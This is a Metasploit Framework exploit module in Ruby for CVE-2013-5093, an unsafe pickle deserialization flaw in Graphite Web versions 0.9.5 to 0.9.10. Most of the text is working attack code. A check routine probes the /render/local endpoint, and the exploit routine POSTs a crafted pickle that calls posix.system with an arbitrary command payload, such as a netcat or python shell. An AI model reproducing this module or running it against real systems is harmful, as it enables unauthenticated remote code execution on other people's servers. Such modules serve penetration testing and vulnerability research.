Graphite Web Unsafe Pickle Handling

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Graphite Web Unsafe Pickle Handling',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in the pickle  
handling of the rendering code in the Graphite Web project between version  
0.9.5 and 0.9.10(both included).  
},  
'Author' =>  
[  
'Charlie Eriksen' # Initial discovery and exploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-5093'],  
[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']  
],  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DisclosureDate' => 'Aug 20 2013',  
'DefaultTarget' => 0,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 16384,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'python generic telnet netcat perl ruby'  
}  
}))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])  
], self.class)  
  
end  
  
def check  
response = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'render', 'local'),  
'method' => 'POST'  
})  
  
if response and response.code == 500  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."  
  
print_status("Sending exploit payload...")  
  
response = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'render', 'local'),  
'method' => 'POST',  
'data' => data  
})  
end  
end`